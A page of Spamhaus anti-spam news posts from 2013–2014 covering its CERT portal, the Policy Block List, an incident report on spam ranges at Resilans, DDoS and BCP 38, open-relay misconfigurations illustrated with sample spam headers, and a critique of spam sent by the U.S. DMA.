CERT Polska: A technical analysis of GOZ (pdf)- FBI: Gameover Zeus and Cryptolocker Poster (pdf) Spamhaus news 2005: We warned you

Spamhaus launches CERT Insight Portal

The Spamhaus Team — Tue, 08 Apr 2014 13:35:32 GMT

Today, The Spamhaus Project is both happy and proud to announce the official launch of the Spamhaus CERT Insight Portal. The aim of the new web portal is to help Computer Emergency Response Teams (CERTs) and Computer Security Incident Response Team (CSIRTs) with a national or regional responsibility to protect their critical infrastructure and IP address space from cyberthreats. Spamhaus CERT Insight Portal The CERT Insight Portal, which is available for free, provides information about malware infected computers (bots) within a CERT/CSIRT area of responsibility — the specific country or region that the CERT or CSIRT is responsible for. This data set is sourced from the Spamhaus XBL"). In addition, the portal contains a notification system for any new SBL") and Botnet C&C listings within a CERT/CSIRT area of responsibility. Last year, Spamhaus opened the CERT Insight Portal to beta users, and it has already been a big success. More than 30 CERTs with a national responsibility are now receiving near-real-time feeds from Spamhaus, helping them to remediate infections in their country and take action against new Botnet Command & Control servers (C&Cs). CERTs and CSIRTs with national or regional responsibility can request access to the CERT Insight Portal by contacting the Spamhaus CERT Outreach team at: cert-team@spamhaus.org

The Spamhaus Policy Block List now covers One Billion IP addresses

The Spamhaus Team — Tue, 18 Mar 2014 01:19:51 GMT

As we always try keep tabs on what spammers do, we couldn't help to overhear this at an Evil Botnet Spam Gang's headquarters: Dr. Evil image (c) Warner Bros. Entertainment Inc. Usage here is claiming no rights. The usage in a report and/or parody falls under under Fair dealing (Fair use). EBSG Boss: Uh-oh, I believe the Spamhaus PBL now lists *One Million* IP addresses! EBSG Number 2: No. Don't you think the PBL would list *more* than a million IP addresses? A million IP addresses isn't exactly a lot of space these days. EBSG Boss: Okay, the PBL now lists… One…Hundred…Billion… IP addresses?! EBSG Number 2: Uh, no, sorry, that is more than the total available in IPv4 address space. EBSG Boss: Oh, how I hate doing Evil Maths! So, then, tell me: how many addresses *does* it have?!? Perhaps we can help these EBSG fellows, and anyone else who may be curious. This month, the Spamhaus Policy Block List (PBL) surpassed one billion listed IP addresses. Due to the ever-expanding reach of the Internet around the world, more and more people are getting online via wired and now wireless connections. Internet Service Providers (ISPs) are provisioning ever greater IPv4 IP address space to provide connectivity to these users. What is the Spamhaus PBL? What the PBL is not: a list of spamming or exploited IP addresses. If an IP address is in the PBL zone, it does not mean there is anything wrong with it. What the PBL is: a database of end-user IP address ranges which should not be delivering unauthenticated SMTP email to any mail server, except those provided specifically by an ISP for that customer's use. The PBL helps networks enforce their Acceptable Use Policy for dynamic and non-MTA customer IP address ranges. Those who use the PBL can configure their inbound email systems to block, filter/score, or tag traffic, depending on their own wishes & needs. Due to the massive number of compromised machines in the PBL covered ranges, using just this one single Spamhaus zone can prevent a large numbers of spam, phishing, and malware attacks via email. Most users query it via the DNSBL method. Larger users transfer updates to the IP address zone to their servers every few minutes. A short history of Port 25 management For nearly a decade, many ISPs have blocked or managed the use of personal/residential IP addresses from directly connecting to mail servers other than their own. In fact, back in 2005, the world's largest ISP organization, M3AAWG, put out a "best practices" document ("Managing Port 25 for Residential or Dynamic IP Space Benefits of Adoption and Risks of Inaction" [[.pdf]](http://www.maawg.org/sites/maawg/files/news/MAAWG_Port25rec0511.pdf)) that outlined the reasons and benefits of this policy. Sadly, even now - in 2014 - a lot of ISPs still do not manage the outbound port 25 connections (SMTP email) on end user IP address space. Since the PBL started, even as ISPs deployed port 25 management, many ISPs have submitted their dynamic IP address ranges to the Spamhaus PBL as a way to tell the world that these IP addresses should never be making direct connections to SMTP servers. As most botnet spam originates from end-users' computers after they have been infected with a spam virus or trojan, the wide use of the PBL around the world has a two-fold benefit for ISPs who submitted their ranges. Firstly, it prevents billions, and in some cases, trillions of spam emails from being delivered from their network to worldwide mailservers, helping the ISP's online image and reputation. Secondly, it greatly lowers the load on the ISP's abuse handling department, as less spam delivered means fewer reports and complaints. This was - and is - a free service which Spamhaus offers to ISPs around the globe. To check on one's eligibility, please read the PBL FAQ. Generating the Spamhaus PBL data PBL IP address ranges are added and maintained by each network participating in the PBL project, working in conjunction with the Spamhaus PBL team, to help apply their outbound email policies. This possibility is open to any ISP, but is especially important for those without port 25 blocking that still wish to be able to tell a large part of the world's email receivers that by-policy, emails should not be accepted directly from specified ranges. In addition to ranges submitted by ISPs, Spamhaus uses the knowledge gained by tracking worldwide spam & email delivery to map out new IP address ranges that are candidates for the PBL. Using PBL alongside the Spamhaus data The PBL is just one of several data sets that Spamhaus builds and offers to the world's internet users. For inbound email management, there is ZEN. ZEN is the combination of all the Spamhaus IP address-based DNSBL zones into one single powerful and comprehensive blocklist to make querying faster and simpler. It contains the PBL, as well as the SBL, SBLCSS, and XBL blocklists. Using ZEN can drastically reduce the amount of spam and malicious emails flowing into one's mail systems. To work alongside these IP address-based DNSBL zones in one's email filters, Spamhaus built our Domain based Block List, the DBL. It contains a list of current spammed domains that we update nearly in realtime as we see and identify domains used in spam and malicious emails. To further protect ones network, Spamhaus has specialized feeds such as our Botnet C&C List. This is a zone built for use in firewalls and routing equipment to prevent the most damaging areas of the internet from reaching your network. The Botnet C&C List zone is offered via Spamhaus Technologys BGP. This Spamhaus data zone can also be used with a Response Policy Zone (RPZ) DNS firewalling system. One can read more about the Spamhaus RPZ data here. The PBL and the future: IPv6 The PBL, and all of the IP address-based versions of the zones, will also be available for IPv6 since we now see some spammers moving into abusing these newer areas of the internet. As the Evil Botnet Spam Gang's "Number 2" noted above, a hundred billion is a very large number of IP addresses, yet someday soon, the PBL will very likely also contain that many, and far many more! IPv6 address space is already widely deployed, and the number of v6 IP addresses is truly enormous. Many of those IP addresses will be used for dynamic assignments such as mobile and wifi networks, as well as broadband and many "smart" devices, and since none of those need to make "direct-to-MX" SMTP connections, they will be a good match for the PBL. PBLv6 is not yet deployed, but it is under current development. As that zone is built and populated, the total number of IP addresses will dwarf the IPv4 numbers. We'll check back in with that Evil Botnet Spam Gang as we get up to around a hundred billion. ««»» Related information 2-May-2015 PBL count: 1,071,386,338 IP addresses. 18-Mar-2014 PBL count: 1,018,203,532 IP addresses. PBL Update and Comparisons - Back when the PBL "only" had a ½-billion listed IP addresses (2009). Spamhaus Policy Block List Update - Back when the PBL "only" had a ¼-billion listed IP addresses (2007). A Case Study - Using Spamhaus BGP feed in a Production Environment (2012). A Case Study - Response Policy Zone History, Usage and Research (.pdf) (2013).

Resilans Incident Report

The Spamhaus Team — Tue, 04 Mar 2014 02:26:29 GMT

Report regarding the SBL listings of spam operations on Resilans AB (resilans.se). Spammer IP address space at Resilans Spamhaus became aware of Resilans AB leasing netblocks to spam operations in August 2013. We listed those ranges and notified Resilans. Despite notification, the ranges they allocated in August were allowed to continue spamming for almost 3 months. In October 2013, we detected spam from yet more Resilans ranges. Again, we notified Resilans - and again those problems took months to resolve. Spamhaus subsequently learned that the same spam operation had used several different identities during that time, undoubtedly complicating things for Resilans. Over the next few months, through February 2014, more and more IP address space was handed out to spammers by Resilans. During February 2014, Spamhaus identified 47 IP address ranges of "/24"s or larger issued to the spam operation, resulting in 17,664 IPv4 addresses assigned to various snowshoe spam operations scattered across six Resilans IP address allocations. A list of those IP address ranges, plus over 8,700 spammer PTRs we found, is available in the footnotes below. SBL listings, 27 February, 2014 On 27 February, 2014, in an effort to protect our users from long-standing and widespread spam sources, and to bring resolution to the ongoing spam-related abuse of Resilans-managed IP address space, we implemented a number of larger SBL listings. Resilans had been sent many reports and given many chances to correct the situation before this step was needed. However, the large number of reports sent to them had not produced any noticeable change in the situation. Resilans responded swiftly to the SBL listings made on 27 February and quickly resolved their outstanding SBL listings. Those larger listings were then removed the same day, 27 February, having been in the SBL zone for less than 12 hours. Moving forward Spamhaus hopes that our relationship with Resilans will once again normalize to the good working relationship we have with the vast majority of Internet providers. We're hopeful that Resilans will avoid any further contribution to enabling spammer resources. As always, we keep working for cleaner inboxes and a safer internet, and we welcome Resilans' participation in that cause. *Steve Linford CEO - The Spamhaus Project* Footnotes: Background of LIR abuse With IPv4 address space increasingly hard to obtain, spammers are adopting creative and sneaky ways to obtain whatever ranges they can get. The more brazen ones will hijack ranges that are abandoned, or not routed, and forge documents just to get their spam out. Some will sub-lease IPv4 space on the gray or black markets, pretending to use it for SEO or VOIP - while really just wanting fresh IP address space from which to send spam. Others try a different route, and set up many false-front entities all over the world to tap into the reserves that local LIRs maintain. China and Romania have particularly suffered from this behavior. Western spammers experienced enough to use the right words, reasons, and funds have been able to get many large ranges of IP address space delegated to them. LIRs, perhaps naive about these sort of situations, have been taken advantage of by spammers and, given our experiences with spammers, we cannot always blame them for it. 47 Resilans IP address ranges detected sending spam in February 2014: 192.36.52.0/23 192.36.70.0/23 192.36.119.0/24 192.36.121.0/24 192.36.136.0/23 192.36.154.0/24 192.36.166.0/24 192.36.172.0/23 192.36.198.0/24 192.36.207.0/24 192.36.217.0/24 192.36.226.0/24 192.36.241.0/24 192.36.248.0/24 192.71.2.0/23 192.71.8.0/24 192.71.10.0/24 192.71.12.0/24 192.71.23.0/24 192.71.30.0/24 192.71.36.0/24 192.71.38.0/24 192.71.42.0/24 192.71.44.0/24 192.71.46.0/24 192.71.48.0/24 192.71.50.0/24 192.71.52.0/24 192.71.57.0/24 192.71.59.0/24 192.71.61.0/24 192.71.70.0/23 192.71.74.0/24 192.71.81.0/24 192.71.86.0/23 192.71.88.0/23 192.71.103.0/24 192.71.113.0/24 192.71.126.0/24 192.71.142.0/24 192.71.224.0/23 193.183.124.0/23 194.68.16.0/22 194.71.100.0/22 194.71.208.0/22 194.71.228.0/22 194.103.2.0/24 A link to the PTR records of 8,700+ spam hosts detected at Resilans (text file) An unrelated Resilans incident from 2012 The ACM SIGCOMM Computer Communication Review (Volume 43, Number 2, April 2013 - page 8) states Resilans lost control of one of their Autonomous System Numbers (ASNs) to hijackers: *"For that, a second AS was hijacked and used to originate routes via the already hijacked AS: Relians Ltd. (AS42461)"* - PDF link

ICANN SSAC on DDoS, DNS and BCP 38

The Spamhaus Team — Wed, 26 Feb 2014 04:01:23 GMT

ICANN's Security and Stability Advisory Committee (SSAC) document Advisory on DDoS Attacks Leveraging DNS Infrastructure, published this week, provides a much-needed touchstone for the Internet in its current state. DDoS attacks, such as the one directed at Spamhaus last spring, continue to grow in size. Their magnitude poses a threat to the very fabric of the Internet and limits hosting choices among the Internet business community to a very small set of service providers, which is not healthy for either the 'net or for businesses. That doesn't even consider the immense damage to sites taken offline by such criminal acts, and DDoS is often accompanied by further criminal extortion attempts. When potential state actors are factored in alongside vandals and criminals, the risk of severe Internet instability due to DDoS is untenably high. Notable in the ICANN SSAC report are the suggestions regarding BCP 38 (also RFC 2827) on pages 12-14. BCP 38, published in 2000, is still the best current practice of ingress traffic filtering at the periphery of Internet connected networks in order to reduce the effectiveness of source address spoofing in denial of service attacks, and proper implementation of those practices effectively stops the reflection attack vectors which are so common these days. While full implementation of BCP 38 at all nodes on all networks is a lofty goal, not easily achievable, there are networks on the Internet which so badly fail to do any implementation of BCP 38 that they are well known by the bad actors and widely used as platforms to launch their attacks. Adoption of BCP 38 by those networks is a low hanging fruit in the goal of DDoS risk abatement. That ICANN SSAC report focuses on the open DNS resolver problem, and it's a big problem. According to the Open Resolver Project there are about 28 million DNS resolvers on the Internet which presently are configured in such a way that they pose a threat to the rest of the 'net at large. While that's a whole lot of machines which need reconfiguration, the problem is not unsolvable. New DNS servers should default to a secure configuration, and education and awareness efforts can bring many existing machines into compliance. Still, open resolvers are a present and persistent DDoS threat for years to come. The report doesn't cover NTP servers, another common vector of DDoS popular with miscreants over the past year. The Open NTP Project is amassing information about open NTP servers and ways to secure them. (Hint: it's easy for most system admins to fix!) There are still other protocols which can also be abused in reflected DDoS attacks, so just fixing one set of problems won't make all DDoS stop, but each server secured is one less source of attack ammunition for the bad guys. Spamhaus thanks ICANN SSAC for that report, encourages all network admins and operators to read up on it and secure their servers, and strongly supports all efforts to implement BCP 38. Additional reading: - BCP 84, RFC 3704 - Ingress Filtering for Multihomed Networks - Modeling Internet-Scale Policies for Cleaning up Malware - DDoS Attack! Is Regulation The Answer? - ALERT: NTP-Based Distributed Denial of Service Attacks Prevent your institution from being an unwitting partner in these attacks - The biggest DDoS attack in history, all due to DNS - Comcast/Xfinity: Preventing Network Spoofing - Internet Address Hijacking, Spoofing and Squatting Attacks, Dave Piscitello, 22 June 2011

The return of the open relays

The Spamhaus Team — Mon, 02 Dec 2013 22:25:00 GMT

1997-2003: THE OPEN RELAY ERA Around 1997, a company named Cyber Promotions (a/k/a Cyberpromo) was the first to start spamming Internet users on a massive scale. Cyberpromo first did this from their own mail servers, relying on their ISP's unwillingness to disconnect them. Within a short time, however, system administrators across the world started blocking email from the IP address ranges used by Cyberpromo. After pondering on how to continue having their ads delivered, Cyberpromo had a clever but evil idea: send email through mailservers belonging to other companies. At that time, most mailservers on the Internet were open relays: anybody could connect to them from anywhere and send email to anybody. Today this seems absurd, but at that time abuse was rare and equipment failures more common than they are today. System administrators left relays open to ensure that legitimate user traffic could always be sent even if the user's own local server was not functioning. So, Cyberpromo started sending their advertisements through mailservers that did not belong to them without the owners' permission. They sent many thousands of messages through each server, often saturating the server's Internet connection with junk email and leaving no capacity for that company to send or receive its own email. The administrators of those mailservers and networks had to spend hours to clean up the resulting mess. Cyberpromo constantly changed the abused open relays, making it difficult to block their activity in advance. Some message transfer agent (MTA) software, the software used to run a mailserver, could not be secured against abuse as an open relay without installing an unofficial patch which server admins were reluctant to apply. Other spammers followed Cyberpromo's example, and open relay hijacking became a favoured spamming method for a few years in the early 2000s. Several people and organizations in the email security field reacted by setting up DNS-based blocklists (DNSBLs) that listed the IP addresses of servers found to be open relays after observation of spam sent through them and subsequent testing. Among those early DNSBLs that listed only IP addresses involved in open relay abuse were the MAPS RSS, ORBL, ORBS, ORBZ, ORDB, and RSL blocklists. Other blocklists that included IP addresses involved in open relay abuse but also other types of abuse included AHBL, DSBL, Five-Ten-SG, NJABL, and SORBS. At the same time, developers of MTAs changed their code and default configurations to ensure that default installations were closed relays and to make creating an open relay more difficult. A closed relay basically means a mailserver that allows inbound mail only to its own users, and outbound mail only from its own users or others who are authorized to use the mailserver. A mailserver enforces these restrictions for outbound mail either by checking that the connecting IP address is in a trusted list or by requiring some other type of authentication. If somebody tries to send email that doesn't meet the restrictions, the mailserver rejects the email during the initial SMTP dialogue. As increasing numbers of hijacked open relays were placed on DNSBLs automatically shortly after a spam run started, system administrators were notified that their mail servers were insecure open relays because legitimate emails sent through those servers were also rejected by recipients. The system administrators would upgrade their mailserver software and configurations, stopping spammers from abusing the mailservers, and then request removal of their IP address to the blocklists. The number of active open relays—which grew in number through 2001—stabilized at between 200,000 and 250,000 in 2002, and then began to decline. Spammers moved on to exploit other types of server insecurities such as open proxies and then "bots" (virus infected computers) during 2003. By 2005 or 2006 open relays had ceased to be an important spam vector. The majority of dedicated open relay DNSBLs shut down. The anti-abuse community declared that the open relay problem was solved. BUT NOW THEY'RE BACK! In 2012 and 2013, the Spamhaus Project has created about 4,000 SBL records for open relay mail systems. Some spammers in China, Taiwan, Russia, Brazil, Colombia, and other countries use open relays routinely to send spam. Spamhaus does not do any server testing, but discussions with ISPs and system administrators, spam header analysis and knowledge on how specific spammers work bring open relay cases to light with a very low margin of error. ("Error" in these cases normally means that the server was not wide open but the spammer managed to authenticate successfully using a guessed or stolen password, as discussed in a previous news article.) Despite our efforts, Spamhaus is not catching all open relays. At the very least, 10-20 new open relay systems are found and abused by spammers each day. The problem is not as large now as it was in the past, but it is still significant. Spam coming from real, legitimate mailservers often passes through filters and manages to land into mailboxes. Spam that abuses an open relay still costs the organization owning it time and trouble to clean up the mess. The perhaps premature death of dedicated open relay DNSBLs forces us to spend time and resources to find and manually list open relays in the SBL, and think about what we can do to reduce the number of open relays to a negligible level once more. WHERE DO THE SECOND GENERATION OF OPEN RELAYS COME FROM? Most of the new crop of open relays, unlike the old, did not appear because of software bugs or poor default configurations. Some of the new open relays are caused by server administrators who deliberately open up mailserver configurations for testing, during a server relocation, or for some other reason. These system administrators often do this out of blind optimism: they believe that "no spammers attack open relays any more". Unfortunately they're mistaken. Spammers constantly test all mail servers on the Internet for open relays. Most are found within days if not hours! However, the lion's share of new open relays is caused by insecure configuration, not of the mailserver itself, but of a firewall or an email security appliance. These appliances are placed between the existing mailserver and the Internet. They accept inbound SMTP connections from the Internet, examine traffic, and then pass only the messages that did not trigger spam or malware filters on to the real mailserver. The actual mailserver, which is normally properly configured, is not accessible to external traffic. The mail system is now a combination of two devices that work in close cooperation, and it is the mail system as a whole that should be immune from open relay abuse. What is happening in most cases is that a problem in the configuration of the security appliance causes the whole mail system to be open to relaying. Remember: a mail system should accept inbound email to its users, outbound email from its users, and should reject all other email that it receives. Otherwise, that mail system is an open relay. If inbound email passes through a security appliance first, and the appliance passes the email and delivers it to the mailserver over a local SMTP connection, the mailserver treats the security appliance IP address, not the actual connecting IP address, as the source IP address for that email. So if that incoming message is directed outside, the mailserver may consider it generated by a local user and let it go out. Voila: the security appliance and mailserver combination functions as an open relay. And—ironically—this open relay issue hits organizations that made an extra effort to secure their mailservers and network! In most cases these organizations find out about this problem only after a spammer abuses their open relay, and they often struggle to understand the nature of the problem. SCENARIO 1: NAT ON A FIREWALL Our observations of samples indicate two common scenarios that lead to open relay two-device systems. Following are an example of each scenario, illustrated with spam that was sent by a well known open relay hijacker from China, with domains and IP addresses altered to protect the identities of our spamtraps and spamtrap MX servers, and of the abused open relay. In the first scenario, the mailserver sees all SMTP connections as coming from an internal IP address because a firewall does a NAT translation at the network boundary, replacing the original IP address with the firewall IP. Email headers of spam sent through such an open relay look like this: Return-Path: Received: from mail.example.net (mail.example.net [203.0.113.243]) by xxxxxx (Postfix) with ESMTP id xxxxxx for ; Wed, 13 Nov 2013 12:xx:xx +0200 (EET) Received: from PC-20121219NMRW ([10.0.0.26] RDNS failed) by mail.example.net with Microsoft SMTPSVC(6.0.3790.4675); Wed, 13 Nov 2013 13:xx:xx +0400 Date: Wed, 13 Nov 2013 17:xx:xx +0800 From: "Jeff" To: "xxxxxx" Reply-To: Subject: Photo Retouching Services - Photo Cut Out - Photo Editing MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: base64 Content-Disposition: inline Message-ID: In this scenario the firewall itself does not speak SMTP, the SMTP connection just goes through it. What happened here is that a machine from some unknown remote IP address (it does not appear in the headers) presented itself in the SMTP HELO as PC-20121219NMRW and connected to the mailserver through the firewall. The firewall changed the source IP address to its own address 10.0.0.26 before passing the email to the mailserver. The mailserver recognized 10.0.0.26 as a local IP address, assumed that the email was from a local sender, and so it sent the email to the spammed email address. The lesson that we learn from this example is that a firewall should never translate the IP addresses of incoming SMTP connections. Another solution, that we recommend to apply only when the previous one is difficult to deploy, is to remove the firewall IP address from the list of local IP addresses in the mail server. NOTE: NAT translations do not create similar problems over other protocols, such as HTTP or DNS. SMTP is a special case that requires particular caution. SCENARIO 2: SMTP APPLIANCE + SERVER In the second scenario, a security appliance acting as MX for the user domain and receiving email traffic from the Internet is misconfigured, as it blindly forwards all traffic to the local mail server (via a separate internal SMTP transaction) instead of rejecting unauthorized relaying attempts. The mailserver accepts everything from the appliance (as it trusts its IP) and proceeds to delivery, forming an open relay mail system together with the appliance. Email headers of spam sent through such an open relay look like this: Return-Path: Received: from mail.example.com (mail.example.com [198.51.100.204]) by xxxxxx (Postfix) with ESMTP id x for ; Thu, 14 Nov 2013 13:xx:xx +0200 (EET) Received: from unknown (HELO EROS.example.com) ([192.168.0.50]) by mail.example.com with ESMTP; 14 Nov 2013 06:xx:xx -0500 Received: from PC-20121219KUBO ([124.42.13.230]) by EROS.example.com with Microsoft SMTPSVC(6.0.3790.4675); Thu, 14 Nov 2013 06:xx:xx -0500 Date: Thu, 14 Nov 2013 19:xx:xx +0800 From: "Jeff" To: "xxxxx" Reply-To: Subject: Photo Editing Services - Photo Retouching - Photo Cut Out MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: base64 Content-Disposition: inline Message-ID: This is what happened: the sending machine at 124.42.13.230 contacted the example.com email security appliance (called EROS). EROS did not detect the messages as coming from outside and directed outside, so it accepted them and transferred them to mail.example.com, the mailserver. The security appliance should have rejected these SMTP transactions as open relay abuse, but for some reason it did not. The mailserver treated the internal IP address of the security appliance 192.168.0.50 as the source IP address for the email, granting relay authorization and sending the message to the spam recipients. The lesson here is that any security appliance or other MX server that receives email from external IP addresses must know which domains it accepts email for, and must reject any attempt to send email from external IP addresses to email addresses at domains that are not on its list. It is always the server that accepts email directly from the Internet that must implement anti-relay rules. WHAT CAN WE DO? Open relays today are commonly created by misconfigured external-facing security appliances. Simple firewalls or proxies letting SMTP connections through should not alter the source IP address of the connection, while devices containing a SMTP server must be configured to detect and reject relaying attempts for the networks that they protect. Manufacturers of firewall and anti-spam appliances need to update the appliances so that they cannot easily be made part of a two-device open relay mail system. We hope that industry will cooperate in reaching this goal soon. As always, education (knowledge of SMTP!) and awareness of email security issues are also extremely important. The importance of testing all mail systems against open relaying can not be stressed enough. System administrators dealing with an open relay problem or just looking for more informations can find useful references on the Securing Open Relays page at SpamLinks.net.

The DMA kicks spam up a notch

The Spamhaus Team — Sun, 27 Oct 2013 06:24:33 GMT

Spamming is always bad, but it is just plain foolish to spam addresses at spamhaus.org. While Spamhaus SBL listings are based on much wider views of spam than our own mailboxes, our mailboxes can tell us what we should look for. So when over the weekend the U.S. Direct Marketing Association (DMA) decided to spam, it would have been wiser to leave Spamhaus founder Steve Linford's email address off the list. Below is copy of the email headers from this spam: Return-Path: Delivered-To: Received: by mail-qc0-f181.google.com with SMTP id w4so2931323qcr.26 for ; Sat, 26 Oct 2013 09:18:10 -0700 (PDT) X-Received: by 10.229.73.6 with SMTP id o6mr18353639qcj.2.1382804290687; Sat, 26 Oct 2013 09:18:10 -0700 (PDT) X-Received: by 10.229.73.6 with SMTP id o6mr18353611qcj.2.1382804290249; Sat, 26 Oct 2013 09:18:10 -0700 (PDT) Received: from outbound3.email-dmamarketing.com (outbound3.email-dmamarketing.com. [97.107.23.193]) by mx.google.com with ESMTP id di8si5827468qeb.48.2013.10.26.09.18.09 for ; Sat, 26 Oct 2013 09:18:10 -0700 (PDT) Received-SPF: pass (google.com: domain of Information@email-dma.org designates 97.107.23.193 as permitted sender) client-ip=97.107.23.193; Authentication-Results: mx.google.com; spf=pass (google.com: domain of Information@email-dma.org designates 97.107.23.193 as permitted sender) smtp.mail=Information@email-dma.org; dkim=pass header.i=@email-dma.org; dmarc=pass (p=NONE dis=NONE) header.from=email-dma.org DKIM-Signature: v=1; a=rsa-sha1; d=email-dma.org; s=ym1024; c=relaxed/simple; q=dns/txt; i=@email-dma.org; t=1382803973; h=From:Subject:Date:To:MIME-Version:Content-Type; bh=NbCmd56syevXaRGXfyKPbhTMZj8=; b=kInv8J64kxmYEZs5l8ukbmq1J57sK3yxgssEa4OfxAuyN7FE8xU2MdYNy3eze1k6 Ew5F00SO+oqH4gG7DGWhn5QBxVMO9lZRiQOzARDuGyyMnMGprliVT5MfmCe1yUTu ak2f5Oai5E6clQE0mhwXovt5UeVdCmBa4HezCWmtFrU=; DomainKey-Signature: q=dns; a=rsa-sha1; c=nofws; s=ym1024; d=email-dma.org; h=Date:From:Subject:To:X-Header-Versions:X-Header- CompanyDBUserName:List-Unsubscribe:Message-ID:X-Vitals:Reply-To:X-Header-MasterId: MIME-Version:Content-Type; b=izMYsqD+jhmMzcX/FAI4wa6HSAszhUia+GfB0Ufn4FjMna8kNwV2CqEja0stMvTl 74NBLU302qbZYarWw4bn8lyTOvwnk1gMAjl4xUC/AU52P4UHvqsg8qKsQQJk1glv vlEgz0r9QaQ7d1RpzngeSScNPp1KraDOgDakmZS+ytk= Date: Sat, 26 Oct 2013 09:12:52 PDT **From: "DMA Career Center" Subject: Kick It Up A Notch With The DMA Career Center To: {Personal.Address}@spamhaus.org** X-Header-Versions: DMACareerCenter.VERP-code.123@email-dma.org X-Header-CompanyDBUserName: dmamarketing List-Unsubscribe: Message-ID: X-Vitals: 1.115863.735214.1504285.11.45ce Reply-To: DMACareerCenter.VERP-code.123@email-dma.org X-Header-MasterId: 1504285 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="==========ALT_1451519089=====" Once we saw that spam and knew to look, Spamhaus investigators were quickly able to identify many other spamtrap addresses which also received the same spam, both spamtraps that belong to Spamhaus and spamtraps that belong to independent researchers on multiple networks. We also heard from from several prominent anti-spam researchers, who also received this same spam at their personal email addresses. Given the number and diversity of the spamtraps that received this spam, we are 100% confident that the DMA also spammed a very large number of active user mailboxes. In response to the DMA spam, we created these SBL listings: SBL202216 97.107.23.191 SBL202217 97.107.23.192/31 SBL202218 97.107.23.194 Kick it up a notch indeed! If you know how to read email headers, you can verify the source of the DMA spam from the headers posted above, or (quite possibly with this spam) from the copy that you received at your own email address. The DMA sent this spam through Yesmail, a large email service provider (ESP) which, like any ESP, sometimes has customers that import a purchased or email appended list. Yesmail followed many ESP best practices to send this email. It registered domains to be used strictly to send bulk marketing email, and properly identified both the domains (email-dma.org and email-dmamarketing.com) and the sending IP addresses (97.107.23.191-97.107.23.194) in the headers, and appropriate DMARC records in DNS. In other words, Yesmail took responsibility for its network. We have no doubt that Yesmail will have some robust conversations with the DMA regarding their list, which was probably recently acquired because any previous attempts to send email to that list would most certainly have drawn our attention. Although the spam was sent from Yesmail IP addresses and uses Yesmail-registered domains, it is clear that the decision to spam was made not by Yesmail but by the DMA. First, the spam advertises the DMA Career Center. Second, embedded in the HMTL of the spam message are URLs for images ("creatives", in marketing terms) that are hosted on thedma.org and the-dma.org, which (as the following Whois records show) belong not to Yesmail but to the DMA: whois.publicinterestregistry.net Domain Name:THEDMA.ORG Created On:16-Dec-1998 05:00:00 UTC Last Updated On:23-Oct-2013 20:15:14 UTC Expiration Date:15-Dec-2014 05:00:00 UTC Sponsoring Registrar:Network Solutions, LLC (R63-LROR) Status:CLIENT TRANSFER PROHIBITED Status:RENEWPERIOD Registrant ID:19732466-NSI Registrant Name:Direct Marketing Association Registrant Organization:Direct Marketing Association Registrant Street1:1120 Ave of the Americas Registrant City:New York Registrant State/Province:NY Registrant Postal Code:10036 Registrant Country:US ...and... whois.publicinterestregistry.net Domain Name:THE-DMA.ORG Created On:29-Aug-1995 04:00:00 UTC Last Updated On:02-Jul-2013 18:37:36 UTC Expiration Date:28-Aug-2015 04:00:00 UTC Sponsoring Registrar:Network Solutions, LLC (R63-LROR) Status:CLIENT TRANSFER PROHIBITED Registrant ID:19732466-NSI Registrant Name:Direct Marketing Association Registrant Organization:Direct Marketing Association Registrant Street1:1120 Ave of the Americas Registrant City:New York Registrant State/Province:NY Adding the pink icing to the spam cake, the DMA's "CAN-SPAM compliant" identification at the foot of the message contained a remarkably non-transparent blob of code that requires the spam victim to click a tagged URL to read the DMA's privacy statement. In other words, the DMA requires that the spam victim confirm that they read the spam email just so that they can find out what the DMA's policy is on the use of their personal information. Of course, no knowledgeable and careful spam victim clicks tagged links in email that they did not ask to receive. While the CAN-SPAM link attempts to conform to American laws, the spam was also sent to users in many other countries where tracking of users without each user's consent is strictly forbidden. Included in the HTML of the spam are tagged URLs: URLs that are different for each email address that was spammed. A user whose email program fetches and renders images when email is opened will also automatically confirm that they received and opened the DMA's spam message without any notification to the user. Some of the images are single-pixel images, often called a "web bug," and others have long strings which appear to be unique identifiers, another form of identifier that is usually called a web beacon. The use of web bugs, web beacons, or other techniques that confirm receipt of a message without the recipient's active consent and participation is illegal in the European Union. The nine-year-old European Commission privacy document contains all the basic rules for sending bulk email to users in the E.U.. This document states that use of purchased lists of email addresses is illegal, discusses the implications of European data privacy laws for bulk email, and covers other useful topics. As we have said for years in our Marketing FAQ: "Unfortunately the US Direct Marketing Association wrongly advises DMA members that the sending of unsolicited bulk email (AKA spam) is an 'acceptable marketing practice'. This extremely bad advice by the DMA has tricked many DMA members into spamming and consequently damaged the communications and reputations of companies who believed they were following correct advice." Only the U.S. DMA gives this particular (poor) advice; other DMAs in other countries are wiser: "It must be stressed that this bad and irresponsible advice is given out only by the American DMA and is contrary to the correct advice of other international DMA organizations including the Australian, Canadian and European DMAs, all of which endorse opt-in policies only." Had the DMA adopted the "opt-in only" position of its international partners, it would never have created the unnecessary Email Marketing Preference Service (e-MPS). This service and others like it ask email recipients to opt-out if they do not want to receive unsolicited bulk email. Such services are ill-advised, usually poorly executed, in many cases outright fraudulent, and utterly ineffective at preventing spam and abuse. For more on this subject, see our page on Spam "Unsubscribe" Services. Earlier this year we had a Q&A exchange with the Magill Report. One of the questions was, "Could Spamhaus imagine cooperating with the DMA, and if so, what would that look like?" To that we replied (in part), "When the DMA accepts that unsolicited bulk email is a plague and stands solidly behind anti-spam best practices, then we'll be in cooperation." We trust that this goes without saying but -- just to be clear -- we would expect the DMA to practice what it preached in that case, and to completely stop promoting or using opt-out lists and opt-out email practices. Isn't it high time that the U.S. DMA joined the rest of the world's DMA organizations, and the rest of the civilized Internet, in renouncing Unsolicited Bulk Email (UBE)?

Celebrating The First Birthday Of The Spamhaus BGPf

The Spamhaus Team — Wed, 12 Jun 2013 12:18:51 GMT

